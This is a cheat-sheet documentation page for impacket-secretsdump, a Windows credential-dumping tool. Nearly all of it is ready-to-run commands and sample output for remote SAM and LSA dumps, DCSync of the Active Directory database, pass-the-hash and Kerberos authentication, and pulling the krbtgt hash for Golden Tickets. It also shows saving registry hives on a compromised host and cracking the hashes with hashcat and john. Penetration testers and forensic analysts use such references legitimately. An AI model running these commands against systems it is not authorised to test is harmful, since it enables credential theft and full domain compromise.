> ## Documentation Index > Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt > Use this file to discover all available pages before exploring further. # impacket-secretsdump > impacket-secretsdump cheat sheet — remote and local credential extraction: SAM, LSA secrets, NTDS.dit, DCSync, cached credentials, and offline hash parsing. ## Overview `impacket-secretsdump` extracts credentials from Windows systems both remotely and locally. It can dump SAM hashes, LSA secrets, cached domain credentials, and the full NTDS.dit Active Directory database. Operates over SMB/RPC (ports 445/135) for remote targets or parses registry hives and database files offline. ```bash theme={"dark"} impacket-secretsdump /:@ ``` *** ## Authentication Methods ### Password ```bash theme={"dark"} impacket-secretsdump DOMAIN/user:password@10.10.10.1 ``` ### NTLM Hash (Pass-the-Hash) ```bash theme={"dark"} impacket-secretsdump DOMAIN/user@10.10.10.1 -hashes LMhash:NThash # Empty LM hash impacket-secretsdump DOMAIN/user@10.10.10.1 -hashes :NThash # aad3b435b51404eeaad3b435b51404ee is the empty/disabled LM hash impacket-secretsdump DOMAIN/user@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:NThash ``` ### Kerberos Ticket ```bash theme={"dark"} # Using ccache from environment export KRB5CCNAME=/tmp/krb5cc_admin impacket-secretsdump DOMAIN/user@dc01.domain.local -k -no-pass # Requires valid TGT/TGS in the ccache # Target must be a hostname (not IP) for Kerberos ``` ### AES Key ```bash theme={"dark"} impacket-secretsdump DOMAIN/user@10.10.10.1 -aesKey ``` *** ## Remote SAM Dump Extracts local account NTLM hashes from the remote SAM database. Requires local administrator privileges on the target. ```bash theme={"dark"} impacket-secretsdump DOMAIN/admin:password@10.10.10.1 ``` Output format: ``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: ``` Format: `username:RID:LMhash:NThash:::` *** ## Remote LSA Secrets Extracted automatically alongside SAM. Contains service account passwords, DPAPI machine keys, cached domain credentials, and auto-logon passwords. ```bash theme={"dark"} impacket-secretsdump DOMAIN/admin:password@10.10.10.1 ``` Output includes: ``` [*] Dumping LSA Secrets $MACHINE.ACC:plain_password_hex:0123456789abcdef... $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:NThash DPAPI_SYSTEM:dpapi_machinekey:0x1234... dpapi_userkey:0x5678... NL$KM:hex_key ``` ### Cached Domain Credentials (DCC2) LSA secrets include cached domain logons (stored as DCC2/mscachev2 hashes): ``` [*] Dumping cached domain logon information (domain/username:hash) DOMAIN/jsmith:$DCC2$10240#jsmith#a8f2b4c... ``` *** ## Remote NTDS.dit Dump Dumps the entire Active Directory database from a Domain Controller. Requires Domain Admin or equivalent privileges (replication rights for DRSUAPI). ### DRSUAPI Method (Default — DCSync) Uses the Directory Replication Service protocol. Does not touch disk or create shadow copies. Stealthier than VSS. ```bash theme={"dark"} # Full domain dump impacket-secretsdump DOMAIN/admin:password@dc01.domain.local # Only NTLM hashes (skip Kerberos keys) impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc-ntlm ``` ### VSS Method (Volume Shadow Copy) Creates a Volume Shadow Copy on the DC, copies NTDS.dit and SYSTEM hive, then parses them. Noisier — writes to disk, creates event logs. ```bash theme={"dark"} impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -use-vss ``` ### Output Flags for NTDS | Flag | Effect | | -------------------- | --------------------------------------------- | | `-just-dc` | Only NTDS.dit (skip SAM/LSA) | | `-just-dc-ntlm` | Only NTLM hashes from NTDS (no Kerberos keys) | | `-just-dc-user USER` | Dump a single user from NTDS | | `-use-vss` | Use Volume Shadow Copy instead of DRSUAPI | | `-history` | Include password history hashes | *** ## Local SAM / SYSTEM / SECURITY Parsing Parse registry hives offline without network access. Useful when you have copied hive files from a compromised machine. ### Dump Hives on Target (if you have shell access) ```bash theme={"dark"} reg save HKLM\SAM C:\sam.save reg save HKLM\SYSTEM C:\system.save reg save HKLM\SECURITY C:\security.save ``` ### Parse Locally ```bash theme={"dark"} # SAM + SYSTEM (local account hashes) impacket-secretsdump -sam sam.save -system system.save LOCAL # SAM + SYSTEM + SECURITY (includes LSA secrets and cached creds) impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL ``` The SYSTEM hive is always required — it contains the boot key needed to decrypt SAM and SECURITY. *** ## Local NTDS.dit Parsing Parse a copied NTDS.dit file offline. Requires the SYSTEM hive for decryption. ```bash theme={"dark"} # Copy from DC (via shadow copy, backup, etc.) # ntds.dit is at C:\Windows\NTDS\ntds.dit impacket-secretsdump -ntds ntds.dit -system system.save LOCAL # Only NTLM hashes impacket-secretsdump -ntds ntds.dit -system system.save -just-dc-ntlm LOCAL # Include history impacket-secretsdump -ntds ntds.dit -system system.save -history LOCAL ``` *** ## Output Format ### SAM Hashes (NTLM) ``` username:RID:LMhash:NThash::: ``` * `LMhash` is `aad3b435b51404eeaad3b435b51404ee` when LM is disabled (modern Windows default) * `NThash` is the NTLM hash — this is what you crack or pass ### NTDS.dit Hashes ``` domain\username:RID:LMhash:NThash::: ``` When using `-just-dc` (not `-just-dc-ntlm`), Kerberos keys are also dumped: ``` domain\username:aes256-cts-hmac-sha1-96:key domain\username:aes128-cts-hmac-sha1-96:key domain\username:des-cbc-md5:key ``` ### Cached Domain Credentials (DCC2 / mscachev2) ``` domain/username:$DCC2$10240#username#hash ``` ### LSA Secrets (Plaintext) ``` ServiceAccountName:plain_password_hex:hexdata ``` *** ## Extracting Specific Users Dump a single account from NTDS.dit without pulling the entire database: ```bash theme={"dark"} # Single user via DCSync impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc-user Administrator # Machine account impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc-user 'DC01$' # krbtgt (for Golden Ticket material) impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc-user krbtgt ``` *** ## History Hashes Dump previous password hashes. Useful when current hash is already known or when looking for password reuse patterns. ```bash theme={"dark"} # Remote impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -history # Local impacket-secretsdump -ntds ntds.dit -system system.save -history LOCAL ``` Output appends `_history0`, `_history1`, etc.: ``` domain\user:RID:LMhash:NThash::: domain\user_history0:RID:LMhash:NThash::: domain\user_history1:RID:LMhash:NThash::: ``` *** ## Pass-the-Hash Use an NTLM hash instead of a password for authentication: ```bash theme={"dark"} # Standard pass-the-hash impacket-secretsdump DOMAIN/admin@10.10.10.1 -hashes :NThash # With full LM:NT pair impacket-secretsdump DOMAIN/admin@10.10.10.1 -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 # DCSync via pass-the-hash impacket-secretsdump DOMAIN/admin@dc01.domain.local -hashes :NThash -just-dc-user krbtgt ``` *** ## Kerberos Authentication Use Kerberos tickets instead of passwords or hashes: ```bash theme={"dark"} # Obtain TGT first (via impacket-getTGT, kinit, or Rubeus) export KRB5CCNAME=/tmp/krb5cc_admin # Use ticket — target MUST be hostname, not IP impacket-secretsdump DOMAIN/admin@dc01.domain.local -k -no-pass # DCSync with Kerberos impacket-secretsdump DOMAIN/admin@dc01.domain.local -k -no-pass -just-dc-user krbtgt # With AES key directly impacket-secretsdump DOMAIN/admin@dc01.domain.local -aesKey -k ``` Ensure DNS resolves the DC hostname or add it to `/etc/hosts`. Kerberos does not work with IP addresses. *** ## Common Use Cases ### Post-Exploitation: Dump Local Hashes ```bash theme={"dark"} # After compromising a workstation — get local admin hashes impacket-secretsdump ./admin:password@10.10.10.50 ``` ### DCSync: Extract Domain Hashes ```bash theme={"dark"} # Full domain dump via DCSync impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc # Just the krbtgt hash for Golden Ticket impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -just-dc-user krbtgt ``` ### Offline Analysis: Hives from Disk Image ```bash theme={"dark"} # Mount disk image, copy hives, parse offline impacket-secretsdump -sam /mnt/Windows/System32/config/SAM \ -system /mnt/Windows/System32/config/SYSTEM \ -security /mnt/Windows/System32/config/SECURITY \ LOCAL ``` ### Offline Analysis: NTDS.dit from Backup ```bash theme={"dark"} impacket-secretsdump -ntds /mnt/backup/ntds.dit -system /mnt/backup/system.save LOCAL ``` ### Output to File ```bash theme={"dark"} impacket-secretsdump DOMAIN/admin:password@dc01.domain.local -outputfile dump # Creates: dump.sam, dump.secrets, dump.ntds, dump.ntds.kerberos, dump.ntds.cleartext ``` *** ## Cracking Extracted Hashes ### NTLM Hashes (SAM / NTDS) ```bash theme={"dark"} # Hashcat mode 1000 hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule # John john --format=NT ntlm_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` ### Cached Domain Credentials (DCC2 / mscachev2) ```bash theme={"dark"} # Hashcat mode 2100 — very slow to crack hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt # John john --format=mscash2 dcc2_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt ``` ### LM Hashes (Legacy) ```bash theme={"dark"} # Hashcat mode 3000 hashcat -m 3000 lm_hashes.txt /usr/share/wordlists/rockyou.txt # John john --format=LM lm_hashes.txt ``` ### Hash Type Summary | Hash Type | Hashcat Mode | John Format | Source | | ---------------- | ------------ | ----------- | --------------------------- | | NTLM | `1000` | `NT` | SAM, NTDS.dit | | LM | `3000` | `LM` | SAM (legacy) | | DCC2 / mscachev2 | `2100` | `mscash2` | LSA cached creds | | NetNTLMv2 | `5600` | `netntlmv2` | Responder (not secretsdump) | *** ## Quick Reference — All Flags | Flag | Description | | --------------------- | --------------------------------------------------- | | `-hashes LM:NT` | Authenticate with NTLM hash | | `-k` | Use Kerberos authentication | | `-no-pass` | No password (use with `-k` or `-aesKey`) | | `-aesKey KEY` | Authenticate with AES key | | `-dc-ip IP` | IP of the Domain Controller | | `-target-ip IP` | IP of the target (if hostname differs) | | `-just-dc` | Only extract NTDS.dit (skip SAM/LSA) | | `-just-dc-ntlm` | Only NTLM hashes from NTDS | | `-just-dc-user USER` | Extract single user from NTDS | | `-use-vss` | Use Volume Shadow Copy method | | `-history` | Include password history | | `-sam FILE` | Local SAM hive file | | `-system FILE` | Local SYSTEM hive file | | `-security FILE` | Local SECURITY hive file | | `-ntds FILE` | Local NTDS.dit file | | `-outputfile PREFIX` | Write output to files with given prefix | | `-exec-method METHOD` | Remote exec method: `smbexec`, `wmiexec`, `mmcexec` | | `-ts` | Add timestamp to output | | `-debug` | Verbose debug output |